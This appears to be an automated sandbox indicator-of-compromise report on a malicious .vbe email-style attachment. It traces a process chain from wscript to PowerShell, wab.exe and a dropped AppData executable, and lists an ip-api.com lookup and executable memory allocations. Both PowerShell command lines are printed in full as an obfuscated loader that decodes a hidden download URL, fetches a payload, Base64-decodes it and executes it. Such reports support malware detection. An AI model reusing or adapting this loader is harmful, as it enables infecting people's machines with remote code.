IOC Report
Inquiry Studbolt - 240703.vbe

Inquiry Studbolt - 240703.vbe

ASCII text, with CRLF line terminators

initial sample

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Inquiry Studbolt - 240703.vbe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,nv neMonM.tSpeMes P. PH.eeFraPldCye rOcs .[ b$VeD AiSpsR s KeHer .s u]Ud=Be$P,SIncAtlAuaHefI f FsCo ');$Omkranses=Immatrikulationens 'Be$AfKGeoK,nB.sKoe ,k,ov He.lnDit eCosOv. uDDio.awTan .l Lo SaD dV F ,iExl,me C(Te$H,RBreKndSneJesPiiTigFunS,aVit Si ,nCugFa,Ma$ Vp iRetM.iyeaNolSa)Ka ';$Vitial=$Chaconners172[0];Influerende (Immatrikulationens 'Au$ ,gSelDioClbInaEnlRe:OvSTyk.trGruI pElfO o rS ePala sKnkBrefytL,=Un(suTAfeTusS,t S-MeP paA t.oh U A,$FeV aiHetAmiPaa alKe)H ');while (!$Skrupforelsket) {Influerende (Immatrikulationens 'N.$ gCrl ,o yb naEylHe:M BRee Cfs.e rEjnO.eO.dBa= P$EntMarBausyeKn ') ;Influerende $Omkranses;Influerende (Immatrikulationens 'D S ,tTaastr gtDa-hySSklLee SeKupT. .u4Un ');Influerende (Immatrikulationens 'Ch$U.gRelhaoR b aR lre:AfSUnkKur BuW,pKrfEro SrA ePrl .sOgkP,eGetA =Te(MiTnoeGis rt T- SP abetGah a Su$.aVPuiUntBaig aSllUn)Sw ') ;Influerende (Immatrikulationens 'Re$IngPolFiostb ,aKalMe:,rPS a.nlK,aPetMoaGnltoiE.s,ye ,=Pl$D gBals.oAnbSpaSllSp:meKT oS.mT.eTad aiK aO,n Ut reS.rT.1 0Gy4 a+Wi+Ne%Sa$S HHayAmgUniTreMaj.an.weA,kTeo .m PmNos,ei AoPlnMyeFinResSk.V cMaoDuuMenGit.o ') ;$Redesignating=$Hygiejnekommsionens[$Palatalise];}$Pushmina119=294060;$Faseforvrngning=27039;Influerende (Immatrikulationens ' h$R,gAdlU.oSob a HlFl: .DGri .sLacPoo .pP.h ei Cl,cefl Di=Pr .GYveBot,t-K,CS,o fnG.t Ge YnThtNi .i$KlV aiT,ts,i,aaOrl U ');Influerende (Immatrikulationens ' N$Deg TlStoBrb a,elOu: JJBaoprv.pi Ma lB iUnt TyFl Be=Br E.[UtSP y As,at ,e,pmAf. AC.uo FnP v SeB rAgtG ]Mi:S :UnFSlrepo.emRuB.paJ.sOdeU 6.e4BrSWitTir ei Ln mg,o(Th$BeDEni .sN,cAno.cpSkhvaiKol Be R).a ');Influerende (Immatrikulationens 'Ta$ CgmulP oInbCoaOdlSt:SuRTye fS,rP,a cBrtAnis,nIngUn Th=.n fr[OvSGay,ysBetOue em.a.,eT,neSexAnt K.,vE .naucEkoBedsoi Kn,sgAs]M,:Ve:biAS,SBaCCaIP,IMu.SuG me AtSeSU t Cr.eiR nL g.u( D$InJBro .vB.iC.ae.l ,iApt ,yAf)Le ');Influerende (Immatrikulationens ' k$Fog .l Eo cbK aC lEn: PEFnfQufGuelacmutCieTrdMe= .$ oR eHef .rAka c Ct,ei onAmg,f. lsApu Ob sPltD r .i onEbg ,( W$BlP nuFesBihBemU.i Fn AaSa1 e1,p9 F,Sp$SoFSaa SsR,eDof,noUdr bvSnr snBigAan,di,onL.gLe)De ');Influerende $Effected;"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,nv neMonM.tSpeMes P. PH.eeFraPldCye rOcs .[ b$VeD AiSpsR s KeHer .s u]Ud=Be$P,SIncAtlAuaHefI f FsCo ');$Omkranses=Immatrikulationens 'Be$AfKGeoK,nB.sKoe ,k,ov He.lnDit eCosOv. uDDio.awTan .l Lo SaD dV F ,iExl,me C(Te$H,RBreKndSneJesPiiTigFunS,aVit Si ,nCugFa,Ma$ Vp iRetM.iyeaNolSa)Ka ';$Vitial=$Chaconners172[0];Influerende (Immatrikulationens 'Au$ ,gSelDioClbInaEnlRe:OvSTyk.trGruI pElfO o rS ePala sKnkBrefytL,=Un(suTAfeTusS,t S-MeP paA t.oh U A,$FeV aiHetAmiPaa alKe)H ');while (!$Skrupforelsket) {Influerende (Immatrikulationens 'N.$ gCrl ,o yb naEylHe:M BRee Cfs.e rEjnO.eO.dBa= P$EntMarBausyeKn ') ;Influerende $Omkranses;Influerende (Immatrikulationens 'D S ,tTaastr gtDa-hySSklLee SeKupT. .u4Un ');Influerende (Immatrikulationens 'Ch$U.gRelhaoR b aR lre:AfSUnkKur BuW,pKrfEro SrA ePrl .sOgkP,eGetA =Te(MiTnoeGis rt T- SP abetGah a Su$.aVPuiUntBaig aSllUn)Sw ') ;Influerende (Immatrikulationens 'Re$IngPolFiostb ,aKalMe:,rPS a.nlK,aPetMoaGnltoiE.s,ye ,=Pl$D gBals.oAnbSpaSllSp:meKT oS.mT.eTad aiK aO,n Ut reS.rT.1 0Gy4 a+Wi+Ne%Sa$S HHayAmgUniTreMaj.an.weA,kTeo .m PmNos,ei AoPlnMyeFinResSk.V cMaoDuuMenGit.o ') ;$Redesignating=$Hygiejnekommsionens[$Palatalise];}$Pushmina119=294060;$Faseforvrngning=27039;Influerende (Immatrikulationens ' h$R,gAdlU.oSob a HlFl: .DGri .sLacPoo .pP.h ei Cl,cefl Di=Pr .GYveBot,t-K,CS,o fnG.t Ge YnThtNi .i$KlV aiT,ts,i,aaOrl U ');Influerende (Immatrikulationens ' N$Deg TlStoBrb a,elOu: JJBaoprv.pi Ma lB iUnt TyFl Be=Br E.[UtSP y As,at ,e,pmAf. AC.uo FnP v SeB rAgtG ]Mi:S :UnFSlrepo.emRuB.paJ.sOdeU 6.e4BrSWitTir ei Ln mg,o(Th$BeDEni .sN,cAno.cpSkhvaiKol Be R).a ');Influerende (Immatrikulationens 'Ta$ CgmulP oInbCoaOdlSt:SuRTye fS,rP,a cBrtAnis,nIngUn Th=.n fr[OvSGay,ysBetOue em.a.,eT,neSexAnt K.,vE .naucEkoBedsoi Kn,sgAs]M,:Ve:biAS,SBaCCaIP,IMu.SuG me AtSeSU t Cr.eiR nL g.u( D$InJBro .vB.iC.ae.l ,iApt ,yAf)Le ');Influerende (Immatrikulationens ' k$Fog .l Eo cbK aC lEn: PEFnfQufGuelacmutCieTrdMe= .$ oR eHef .rAka c Ct,ei onAmg,f. lsApu Ob sPltD r .i onEbg ,( W$BlP nuFesBihBemU.i Fn AaSa1 e1,p9 F,Sp$SoFSaa SsR,eDof,noUdr bvSnr snBigAan,di,onL.gLe)De ');Influerende $Effected;"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe

"C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe"

C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe

"C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe"

ip-api.com

208.95.112.1

208.95.112.1

ip-api.com

United States

8A70000

direct allocation

page execute and read and write

8CCF000

direct allocation

page execute and read and write